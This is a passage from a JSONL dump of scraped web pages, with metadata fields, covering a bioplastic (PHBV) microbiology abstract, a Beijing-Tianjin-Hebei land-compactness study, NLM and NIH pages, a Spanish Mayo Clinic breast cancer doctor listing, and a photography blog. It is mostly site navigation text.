spectroscopies showed that H. desertis accumulated PHA is a poly-3-hydroxybutyrate-co-3-hydroxyvalerate (PHBV). The genome analysis revealed the presence of typical structural genes involved in PHBV metabolism including phaA, phaB, phaC, phaP, phaZ, and phaR, coding for acetyl-CoA acetyltransferase, acetoacetyl-CoA reductase, class I polyhydroxyalkanoates synthases, phasin, polyhydroxyalkanoates depolymerase and polyhydroxyalkanoates synthesis repressor, respectively. Glycerol can be metabolized to 1) acetyl-CoA through the glycolysis pathway and subsequently converted to the 3HB monomer, and 2) to propionyl-CoA via the threonine biosynthetic pathway and subsequently converted to the 3HV monomer. In silico analysis of PhaC1 from H. desertis G11 indicated that this enzyme belongs to Class I PHA synthase family with a \u201clipase box\u201d-like sequence (SYCVG). All these characteristics make the extremophilic bacterium H. desertis G11 a promising cell factory for the conversion of bio-renewable glycerol to high-value PHBV.\nIntroduction\nFossil fuel-based plastics play a crucial role in modern lifestyle (Chae and An, 2018). Approximately 400 million tons of plastic were produced globally in 2018. More than 10 million metric tons of plastic ended up into the oceans during 2018 alone. An estimated 13 billion tons of plastic waste will reach the environment by 2050 in the absence of any improvements in current plastic waste management practices (Shams et al., 2021). Synthetic plastics have significant negative impacts on ecosystems, biota, environment, economy, and human health (Sharma and Chatterjee, 2017). As a result, there is a growing demand for bioplastics such as polyhydroxyalkanoates (PHA), polylactic acid, biopolyamide, biopolyethylene and biopolypropylene that provide new solutions in terms of life cycle and raw materials (Akinwumi et al., 2019). The conversion of biowastes to PHAs is considered as a possible eco-friendly alternative to petro-plastics and are currently gaining a lot of interest in the field of industrial applications and waste management (Kourmentza et al., 2017; Patel et al., 2021). Global bioplastic production has increased from 2.1 metric tons in 2020 to about 2.4 metric tons in 2022 (Dubey and Mishra, 2021) and the market opportunity for PHA bioplastic could reach US$100 million by 2024 (Surendran et al., 2020).\nPHA are linear polyesters that consist of hydroxy fatty acids and are synthesized by a wide range of different Gram-positive and Gram-negative bacteria, as well as in some haloarchaeal species (Bugnicourt et al., 2014; Han et al., 2015; Kalia et al., 2021). Among the PHA producing microorganisms, the most-studied were Pseudomonas oleovorans, P. aeruginosa and P. putida, Bacillus megaterium, B. cere", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/554e57ef-839b-499f-a0be-978c15e657a8", "content_hash": "f81f42a30b73df732c024ef09806ef250e5314fe41e8641b504f88a4827969bc", "created_at": "2026-03-28T05:11:10.508957376Z"} +{"id": "4a508496-08cc-4488-8307-0a2587511775", "source": "brain", "text": "Frontiers | A study on land compactness of urban agglomeration-example from Beijing-Tianjin-Hebei\n\nFrontiers | A study on land compactness of urban agglomeration-example from Beijing-Tianjin-Hebei\nFrontiers in Environmental Science\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nSearch\nFrontiers in Environmental Science\nSections\nSections\nAtmosphere and Climate\nBiogeochemical Dynamics\nDrylands\nEcosystem Restoration\nEnvironmental Citizen Science\nEnvironmental Economics and Management\nEnvironmental Informatics and Remote Sensing\nEnvironmental Policy and Governance\nEnvironmental Systems Engineering\nFreshwater Science\nInterdisciplinary Climate Studies\nLand Use Dynamics\nSocial-Ecological Urban Systems\nSoil Processes\nToxicology, Pollution and the Environment\nWater and Wastewater Management\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nFrontiers in Environmental Science\nSections\nSections\nAtmosphere and Climate\nBiogeochemical Dynamics\nDrylands\nEcosystem Restoration\nEnvironmental Citizen Science\nEnvironmental Economics and Management\nEnvironmental Informatics and Remote Sensing\nEnvironmental Policy and Governance\nEnvironmental Systems Engineering\nFreshwater Science\nInterdisciplinary Climate Studies\nLand Use Dynamics\nSocial-Ecological Urban Systems\nSoil Processes\nToxicology, Pollution and the Environment\nWater and Wastewater Management\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nFrontiers in Environmental Science\nSections\nSections\nAtmosphere and Climate\nBiogeochemical Dynamics\nDrylands\nEcosystem Restoration\nEnvironmental Citizen Science\nEnvironmental Economics and Management\nEnvironmental Informatics and Remote Sensing\nEnvironmental Policy and Governance\nEnvironmental Systems Engineering\nFreshwater Science\nInterdisciplinary Climate Studies\nLand Use Dynamics\nSocial-Ecological Urban Systems\nSoil Processes\nToxicology, Pollution and the Environment\nWater and Wastewater Management\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nSubmit your researchSearch\nYour new experience awaits. Try the new design now and help us make it even better\nSwitch to the new experience\nORIGINAL RESEARCH article\nFront. Environ. Sci., 19 August 2022\nSec. Land Use Dynamics\nVolume 10 - 2022 | https://doi.org/10.3389/fenvs.2022.969562\nThis article is part of the Research TopicLand Governance, Integrated Socio-Ecosystem and Sustainable DevelopmentView all 33 articles\nA study on land compactness of urban agglomeration-example from Beijing-Tianjin-Hebei\nHuiying Wang1 Huimin Wang2* Xuehan Xiong3\n1School of Government, University of International Business and Economics, Beijing, China\n2Department of Aviation Economics and Management, Beijing Institute of Economics and Management, Beijing, China\n3Development Holdings Co., Ltd., Hainan, China\nCompactness, intensity, efficiency and greenness are becoming the goals of regional governance in China. This study, based on the compact development theory, takes the urban agglomeration of Jingjinji as the research object, uses the composite index to construct a compactness index system based on production-living-ecological space and adopts entropy method to measure and analyze the degree of compactness. The results show that there is an obvious internal differentiation in Jingjinji, and the overall situation is not compact. Composed of production, living and ecological spaces, the compactness of the territorial space differs significantly. Production space is of the highest degree compactness, followed by living space and the lowest is ecological space. By comparing each index, compactness degrees of economic factors and municipal production facilities are better than those of the production land and transportation. Compactness degrees of Social factors of living space are more developed than those of residential land and public services. The overall compactness degree of the ecological space is the lowest, but the degrees of compactness are relatively balanced and there are small differences. The compactness degree of the green land is slightly lower than that of pollution treatment.\n1 Introduction\nStarting from \u201c14th Five-Year Plan\u201d, China focused on the overall and systematic governance of the entire territorial space, classified into production, living and ecological spaces (PLES). Meanwhile, the urban agglomeration has become the main geographical unit and spatial development pattern in China due to significant aggregation of population and economic functions. However, the main problem has been that regional development is unbalanced, uncoordinated and incompact in some urban agglomerations, especially in the Beijing-Tianjin-Hebei region (also known as Jingjinji).\nFrom the perspective of PLES in the urban agglomeration of Jingjinji, the development of production space is seriously differentiated, and high efficiency has not yet been achieved in every city. The provision of living space is not diverse and abundant, so high-quality development has not yet been achieved. In addition, the ecological space is not adequately protected by the Regulations for the Implementation of the Land Administration Law, the policy that should scientifically control territorial planning.\nAbove all, a series of economic, social and ecological problems still exist in the Jingjinji urban agglomeration. Therefore, how to formulate a governance plan in accordance with local conditions and promote heterogeneous regions to exploit comparative advantages and achieve highly efficient and qualified development, has become an inherent requirement for the Jingjinji urban agglomeration in order to further optimize territorial space.\n2 Literature review\nIn the context of spatial governance and planning, academic research on land governance has also achieved new progress. Since the conservation and use of land resources is one of the important goals of spatial governance, the compact development theory related to urban development has been gradually adopted in spatial governance research. The compact development theory originates from the \u201ccompact city\u201d proposed by European and American countries to achieve sustainable development.\nDanziger and Satty 1973) were the first to present the compact city theory in the context of achieving sustainable development (Dantizing and Satty, 1973). They believed that a compact ci", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/4a508496-08cc-4488-8307-0a2587511775", "content_hash": "f6871a24eb02b88b82eb8114fe5ba99a380bfd6f36ec8a183a962f4a264f8f93", "created_at": "2026-03-28T05:11:10.416776086Z"} +{"id": "11d3de36-447d-4638-99c7-87604eae1d78", "source": "brain", "text": "Contributor: Spisak, Shelley (Editor) - Reports of the Surgeon General - Profiles in Science Search Results\n\nContributor: Spisak, Shelley (Editor) - Reports of the Surgeon General - Profiles in Science Search Results\nSkip to search Skip to main content Skip to first result\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nContact\nAbout\nReports of the Surgeon General\nHome\nThe Story\nBrief History\nChanging Conceptions of Public Health\nThe 1964 Report on Smoking and Health\nSecondary Smoking, Individual Rights, and Public Space\nThe AIDS Epidemic\nPublic Health and Disease Prevention\nReports of the Surgeon General after 2000\nCollection Items\nsearch for\nSearch\nHome\nSearch results\nSearch\nSearch Constraints\nStart Over You searched for: Contributor Spisak, Shelley (Editor) Remove constraint Contributor: Spisak, Shelley (Editor)\n1 - 8 of 8\nSort by Title (Z-A)\nRelevance Title (A-Z) Title (Z-A) Date (oldest to newest) Date (newest to oldest)\nNumber of results to display per page\n50 per page per page\n10 per page 20 per page 50 per page 100 per page\nView results as:\nList Gallery Masonry Slideshow\nSearch Results\n1. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (pages 76-100)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n2. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (pages 51-75)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n3. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (pages 26-50)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n4. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (pages 101-116)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n5. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (pages 1-25)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n6. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (Title Page and Introductory Material)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n7. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation (Index)\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nExcerpts\nWorkshops (seminars)\n8. Second Followup Report: The Surgeon General's Workshop on Breastfeeding and Human Lactation\nCreator:\nNational Center for Education in Maternal and Child Health (U.S.)\nUnited States. Public Health Service. Health Resources and Services Administration. Maternal and Child Health Bureau\nUnited States. Public Health Service. Office of the Surgeon General\nDate:\n1991\nPublisher:\nNational Center for Education in Maternal and Child Health (U.S.)\nGenre:\nOfficial reports\nWorkshops (seminars)\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/11d3de36-447d-4638-99c7-87604eae1d78", "content_hash": "5883a5283c1e56f6702f4c1e4399c806243b3435b457fd91381219b141cea04b", "created_at": "2026-03-28T05:11:10.402492096Z"} +{"id": "faf9d260-7bac-4735-a3ae-151194d68d5e", "source": "brain", "text": "C\u00e1ncer de mama - M\u00e9dicos y departamentos - Mayo Clinic\n\nC\u00e1ncer de mama - M\u00e9dicos y departamentos - Mayo Clinic\nEste contenido no tiene una versi\u00f3n en ingl\u00e9s\nEste contenido no tiene una versi\u00f3n en \u00e1rabe\nSkip to content\nAtenci\u00f3n m\u00e9dica en Mayo Clinic\nAtenci\u00f3n m\u00e9dica centrada en el paciente\nInformaci\u00f3n sobre Mayo Clinic\nPedir una cita\nEncuentra un m\u00e9dico\nUbicaciones\nEnsayos cl\u00ednicos\nCon\u00e9ctate con grupos de apoyo\nGu\u00eda para el paciente y las visitas\nFacturaci\u00f3n y seguro m\u00e9dico\nDepartamentos y centros m\u00e9dicos\nServicios Internacionales\nComun\u00edcate con nosotros\nGu\u00eda para el paciente y las visitas\nBiblioteca de la Salud\nEnfermedades y afecciones\nS\u00edntomas\nAn\u00e1lisis y procedimientos\nMedicamentos y suplementos\nEstilo de vida saludable\nBolet\u00edn sobre salud y libros de Mayo Clinic\nBolet\u00edn sobre salud y libros de Mayo Clinic\nPara profesionales m\u00e9dicos\nRecursos para profesionales m\u00e9dicos\nPara remitir a un paciente\nEducaci\u00f3n M\u00e9dica Continua\nLaboratorios de Mayo Clinic\nCentro de videos\nRevistas y publicaciones\nAsociaci\u00f3n de Exalumnos de Mayo Clinic\nEducaci\u00f3n M\u00e9dica Continua\nInvestigaci\u00f3n y educaci\u00f3n en Mayo Clinic\nInvestigaci\u00f3n\nInvestigaci\u00f3n en Mayo Clinic\nProfesores de investigaci\u00f3n\nLaboratorios\nInstalaciones centrales\nCentros y programas\nDepartamentos y divisiones\nEnsayos cl\u00ednicos\nJunta de Revisi\u00f3n Institucional\nFellowships posdoctorales\nProgramas subvencionados para capacitaci\u00f3n\nEducaci\u00f3n\nFacultad de Medicina y Ciencias de Mayo Clinic\nEscuela de Posgrado en Ciencias Biom\u00e9dicas en Mayo Clinic\nEscuela de Medicina Alix en Mayo Clinic\nEscuela para Educaci\u00f3n M\u00e9dica de Posgrado en Mayo Clinic\nEscuela de Ciencias de la Salud en Mayo Clinic\nEscuela para Desarrollo Profesional Continuo en Mayo Clinic\nFacultad de Medicina y Ciencias de Mayo Clinic\nPedir una cita\nPara donar\nIniciar la sesi\u00f3n\nBuscar\nMen\u00fa\nPedir una cita\nPara donar\nEnfermedades y condiciones\nEncontrar una doctora\nAtenci\u00f3n m\u00e9dica en Mayo Clinic\nAtenci\u00f3n m\u00e9dica centrada en el paciente\nInformaci\u00f3n sobre Mayo Clinic\nPedir una cita\nEncuentra un m\u00e9dico\nUbicaciones\nEnsayos cl\u00ednicos\nCon\u00e9ctate con grupos de apoyo\nGu\u00eda para el paciente y las visitas\nFacturaci\u00f3n y seguro m\u00e9dico\nDepartamentos y centros m\u00e9dicos\nServicios Internacionales\nComun\u00edcate con nosotros\nGu\u00eda para el paciente y las visitas\nBiblioteca de la Salud\nEnfermedades y afecciones\nS\u00edntomas\nAn\u00e1lisis y procedimientos\nMedicamentos y suplementos\nEstilo de vida saludable\nBolet\u00edn sobre salud y libros de Mayo Clinic\nBolet\u00edn sobre salud y libros de Mayo Clinic\nPara profesionales m\u00e9dicos\nRecursos para profesionales m\u00e9dicos\nPara remitir a un paciente\nEducaci\u00f3n M\u00e9dica Continua\nLaboratorios de Mayo Clinic\nCentro de videos\nRevistas y publicaciones\nAsociaci\u00f3n de Exalumnos de Mayo Clinic\nEducaci\u00f3n m\u00e9dica continua\nInvestigaci\u00f3n y educaci\u00f3n en Mayo Clinic\nInvestigaci\u00f3n\nInvestigaci\u00f3n en Mayo Clinic\nProfesores de investigaci\u00f3n\nLaboratorios\nInstalaciones centrales\nCentros y programas\nDepartamentos y divisiones\nEnsayos cl\u00ednicos\nJunta de Revisi\u00f3n Institucional\nFellowships posdoctorales\nProgramas subvencionados para capacitaci\u00f3n\nEducaci\u00f3n\nFacultad de Medicina y Ciencias de Mayo Clinic\nEscuela de Posgrado en Ciencias Biom\u00e9dicas en Mayo Clinic\nEscuela de Medicina Alix en Mayo Clinic\nEscuela para Educaci\u00f3n M\u00e9dica de Posgrado en Mayo Clinic\nEscuela de Ciencias de la Salud en Mayo Clinic\nEscuela para Desarrollo Profesional Continuo en Mayo Clinic\nFacultad de Medicina y Ciencias de Mayo Clinic\nDonaciones a Mayo Clinic\nPara donar\nDonaciones a Mayo Clinic\nPreguntas frecuentes\nCont\u00e1ctenos para hacer una donaci\u00f3n\nPara donar\nEnfermedades y afecciones\nC\u00e1ncer de mama\nSolicite una Consulta\nS\u00edntomas y\ncausas\nDiagn\u00f3stico y\ntratamiento\nM\u00e9dicos y\ndepartamentos\nAtenci\u00f3n en\nMayo Clinic\nImprimir\nDepartamentos y especialidades\nMayo Clinic tiene uno de los centros m\u00e9dicos m\u00e1s grandes y experimentados en los Estados Unidos, con sedes en Arizona, Florida y Minnesota. El personal, que est\u00e1 capacitado en muchas especialidades, trabaja en conjunto para garantizar una atenci\u00f3n de calidad y una recuperaci\u00f3n exitosa.\nDepartamentos donde se trata este trastorno\nAtenci\u00f3n oncol\u00f3gica en Mayo Clinic\nCirug\u00eda\nCirug\u00eda pl\u00e1stica\nCl\u00ednicas para Sobrevivientes al C\u00e1ncer\nCl\u00ednica de las mamas\nCl\u00ednica de Mamas de Alto Riesgo\nHematolog\u00eda y oncolog\u00eda pedi\u00e1trica\nOncolog\u00eda (m\u00e9dica)\nOncolog\u00eda integrativa\nOncolog\u00eda Quir\u00fargica de Mama y Melanoma de Rochester\nOncolog\u00eda quir\u00fargica y cirug\u00eda endocrina en Arizona\nOncolog\u00eda radioter\u00e1pica\nPrograma de c\u00e1ncer hereditario\nPrograma de Cirug\u00eda para el C\u00e1ncer de Mama en Jacksonville\nPrograma de terapia con rayos de protones\nRadiolog\u00eda\nSalud de la mujer\n\u00c1reas donde se investiga este trastorno\nRadiology Research\nM\u00e9dicos que tratan esta enfermedad\neditar los filtros de b\u00fasqueda\ncerca\nLimitar la b\u00fasqueda\nPor ubicaci\u00f3n\nRochester, MN\nJacksonville, FL\nPhoenix/Scottsdale, AZ\nPor apellido\nBuscar un m\u00e9dico cuyo apellido comience con una letra A A\nBuscar un m\u00e9dico cuyo apellido comience con una letra B B\nactivo Buscar un m\u00e9dico cuyo apellido comience con una letra C C\nBuscar un m\u00e9dico cuyo apellido comience con una letra D D\nBuscar un m\u00e9dico cuyo apellido comience con una letra E E\nNo hay ning\u00fan m\u00e9dico cuyo apellido comience con dicha letra F F\nBuscar un m\u00e9dico cuyo apellido comience con una letra G G\nBuscar un m\u00e9dico cuyo apellido comience con una letra H H\nBuscar un m\u00e9dico cuyo apellido comience con una letra I I\nBuscar un m\u00e9dico cuyo apellido comience con una letra J J\nBuscar un m\u00e9dico cuyo apellido comience con una letra K K\nBuscar un m\u00e9dico cuyo apellido comience con una letra L L\nBuscar un m\u00e9dico cuyo apellido comience con una letra M M\nBuscar un m\u00e9dico cuyo apellido comience con una letra N N\nBuscar un m\u00e9dico cuyo apellido comience con una letra O O\nBuscar un m\u00e9dico cuyo apellido comience con una letra P P\nNo hay ning\u00fan m\u00e9dico cuyo apellido comience con dicha letra Q Q\nBuscar un m\u00e9dico cuyo apellido comience con una letra R R\nBuscar un m\u00e9dico cuyo apellido comience con una letra S S\nBuscar un m\u00e9dico cuyo apellido comience con una letra T T\nNo hay ning\u00fan m\u00e9dico cuyo apellido comience con dicha letra U U\nBuscar un m\u00e9dico cuyo apellido comience con una letra V V\nBuscar un m\u00e9dico cuyo apellido comience con una letra W W\nNo hay ning\u00fan m\u00e9dico cuyo apellido comience con dicha letra X X\nBuscar un m\u00e9dico cuyo apellido comience con una letra Y Y\nNo hay ning\u00fan m\u00e9dico cuyo apellido comience con dicha letra Z Z\nRestablecer todos los filtros\nConsejos para la b\u00fasqueda\nUsar comillas para las frases.\nHaz clic en para buscar aunque no haya sugerencias autom\u00e1ticas dentro del campo de b\u00fasqueda, ya que igual podr\u00edas obtener resultados.\nMostrando 1-7 de doctores disponibles\nInicial del apellido: C\nJose A. Castro Garcia, M.D.\ncirujano pl\u00e1stico\nRochester, MN\n\u00c1reas de desarrollo:\nReconstrucci\u00f3n de los senos con implantes , Cirug\u00eda reconstructiva, Reparaci\u00f3n de fractura facial, Transferencia de tej...ido adiposo, Cirug\u00eda pl\u00e1stica de los senos, cirug\u00eda de feminizaci\u00f3n facial, cirug\u00eda para reasignaci\u00f3n de sexo, Reconstrucci\u00f3n de los senos, Cirug\u00eda microvascular, reconstrucci\u00f3n facial , cirug\u00eda oncopl\u00e1stica conservadora de mamas, colgajo libre, reconstrucci\u00f3n de la pared abdominal, Cuidado de la herida, reparaci\u00f3n de f\u00edstula rectovaginal, Cambio del implante mamario, reconstrucci\u00f3n microvascular , Cirug\u00eda de mama, Cirug\u00eda con colgajo, C\u00e1ncer de mama, angiosarcoma de mama, Nariz quebrada, F\u00edstula rectovaginal, Fractura, mand\u00edbula quebrada, Fractura orbital, laceraci\u00f3n facial, fractura facial, Herida, lesi\u00f3n facial\nMostrar m\u00e1s \u00e1reas de especializaci\u00f3n para Jose A. Castro Garcia, M.D.\nElizabeth J. Cathcart-Rake, M.D.\nonc\u00f3logo\nRochester, MN\n\u00c1reas de desarrollo:\nC\u00e1ncer de mama\nGrace M. Choong, M.D.\nonc\u00f3logo\nginec\u00f3logo onc\u00f3logo\nRochester, MN\n\u00c1reas de desarrollo:\nC\u00e1ncer de mama, C\u00e1ncer ginecol\u00f3gico\nSaranya Chumsri, M.D.\nonc\u00f3logo\nJacksonville, FL\n\u00c1reas de desarrollo:\nterapia de c\u00e9lulas T con receptores de ant\u00edgenos quim\u00e9ricos , C\u00e1ncer de mama\nGerardo Colon-Otero, M.D.\ninternista\nonc\u00f3logo\nhemat\u00f3logo\nJacksonville, FL\n\u00c1reas de desarrollo:\nTrasplante de c\u00e9lulas madre, C\u00e1ncer, C\u00e1ncer de mama, C\u00e1ncer ", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/faf9d260-7bac-4735-a3ae-151194d68d5e", "content_hash": "ccce22abfbd816623c58c91cacb7f9584f67498bb93bdce27e5a3577843dc0e1", "created_at": "2026-03-28T05:11:10.395039648Z"} +{"id": "d4e6adf5-52bf-40a0-a58e-c562ba7f1d1c", "source": "brain", "text": "NIH VideoCast - IIG Seminar - Multimodal decoding of liver regeneration and repair\n\nNIH VideoCast - IIG Seminar - Multimodal decoding of liver regeneration and repair\nSkip Navigation\nAn official website of the United States government\nHere\u2019s how you know\nHere\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nNIH VideoCasting\nCIT can broadcast your seminar, conference or meeting live to a world-wide audience over the Internet as a real-time streaming video. The event can be recorded and made available for viewers to watch at their convenience as an on-demand video or a downloadable file. CIT can also broadcast NIH-only or HHS-only content.\nVideoCast Home\nPast Events\nUpcoming Events\nFAQ\nContact Us\nTest Computer\nSearch\nhttps://uccwow2.cit.nih.gov/vod\nThis Videocast has been designated HHS Only. You are not authorized to view this event from this network.\nPlease refer to this FAQ: NIH and HHS only events\nVideoCast Send Live Feedback\n\u00d7\nIIG Seminar - Multimodal decoding of liver regeneration and repair\nYour name\nEmail Address\nMessage\nSend Message\nCancel", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/d4e6adf5-52bf-40a0-a58e-c562ba7f1d1c", "content_hash": "347bf153b0170c6cee14b33652859ebaf82edc30549b26bf5be3e8464f9b416b", "created_at": "2026-03-28T05:11:10.394972379Z"} +{"id": "12153902-c232-4685-bc70-fd122c93b729", "source": "brain", "text": "Kansas City \u2013 Creative By Nature\n\nKansas City \u2013 Creative By Nature\nSkip to content\nCreative By Nature\nDanny C Boyce \u2013 Photographic Artistry\nMenu Menu\nHome\nJim Stukey\nUpdates\nOpen search bar\nSearch for:\nClose search bar\nTag: Kansas City\nObservation\nDecember 3, 2025 December 18, 2025\nby Danny\nLooking out at Kansas City, Missouri. When you took a train to get places, you came to the station.\nTo me, photography is an art of observation. It\u2019s about finding something interesting in an ordinary place\u2026\nI\u2019ve found it has little to do with the things you see and everything to do with the way you see them.\n\u2013 Elliott Erwitt\nKarl Lagerfeld on Photography\nOctober 8, 2025 October 10, 2025\nby Danny\nKansas City, Missouri Arts and Science Museum.\nIt\u2019s inside the renewed, and repurposed, KC Railway Station\n\u201cWhat I like about photographs is that they capture a moment that\u2019s gone forever, impossible to reproduce.\u201d\n\u2013 Karl Lagerfeld\nSearch\nSearch\nRecent Posts\nSecret Secrets\nWhat is Photography?\nPhotogravity\nGood Photographs\nThe Power of Image\nRecent Comments\nNo comments to show.\nArchives\nFebruary 2026\nJanuary 2026\nDecember 2025\nNovember 2025\nOctober 2025\nSeptember 2025\nFebruary 2025\nCategories\nPhotographic Artistry\nCopyright \u00a9 2026 Creative By NatureTheme by SiteOrigin\nScroll to top", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/12153902-c232-4685-bc70-fd122c93b729", "content_hash": "18d437bf07d4f3ac0824cd6cd54bba2932582f96c3d296d07c0005f0d251f039", "created_at": "2026-03-28T05:11:10.237211404Z"} +{"id": "357a2044-d610-45ed-8e3f-5b400cb0db78", "source": "brain", "text": "Frontiers | FEV Maintains Homing and Expansion by Activating ITGA4 Transcription in Primary and Relapsed AML\n\nFrontiers | FEV Maintains Homing and Expansion by Activating ITGA4 Transcription in Primary and Relapsed AML\nFrontiers in Oncology\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nSearch\nFrontiers in Oncology\nSections\nSections\nBreast Cancer\nCancer Cell Signaling\nCancer Epidemiology and Prevention\nCancer Genetics\nCancer Imaging and Image-directed Interventions\nCancer Immunity and Immunotherapy\nCancer Metabolism\nCancer Molecular Targets and Therapeutics\nCardio-Oncology\nGastrointestinal Cancers: Colorectal Cancer\nGastrointestinal Cancers: Gastric and Esophageal Cancers\nGastrointestinal Cancers: Hepato Pancreatic Biliary Cancers\nGenitourinary Oncology\nGynecological Oncology\nHead and Neck Cancer\nHematologic Malignancies\nMolecular and Cellular Oncology\nNeuro-Oncology and Neurosurgical Oncology\nPediatric Oncology\nPharmacology of Anti-Cancer Drugs\nRadiation Oncology\nSkin Cancer\nSurgical Oncology\nThoracic Oncology\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nAbout us\nAbout us\nWho we are\nMission and values\nHistory\nLeadership\nAwards\nImpact and progress\nFrontiers' impact\nOur annual reports\nThought leadership\nPublishing model\nHow we publish\nOpen access\nPeer review\nResearch integrity\nResearch Topics\nFAIR\u00b2 Data Management\nFee policy\nServices\nSocieties\nNational consortia\nInstitutional partnerships\nCollaborators\nMore from Frontiers\nFrontiers Forum\nFrontiers Planet Prize\nPress 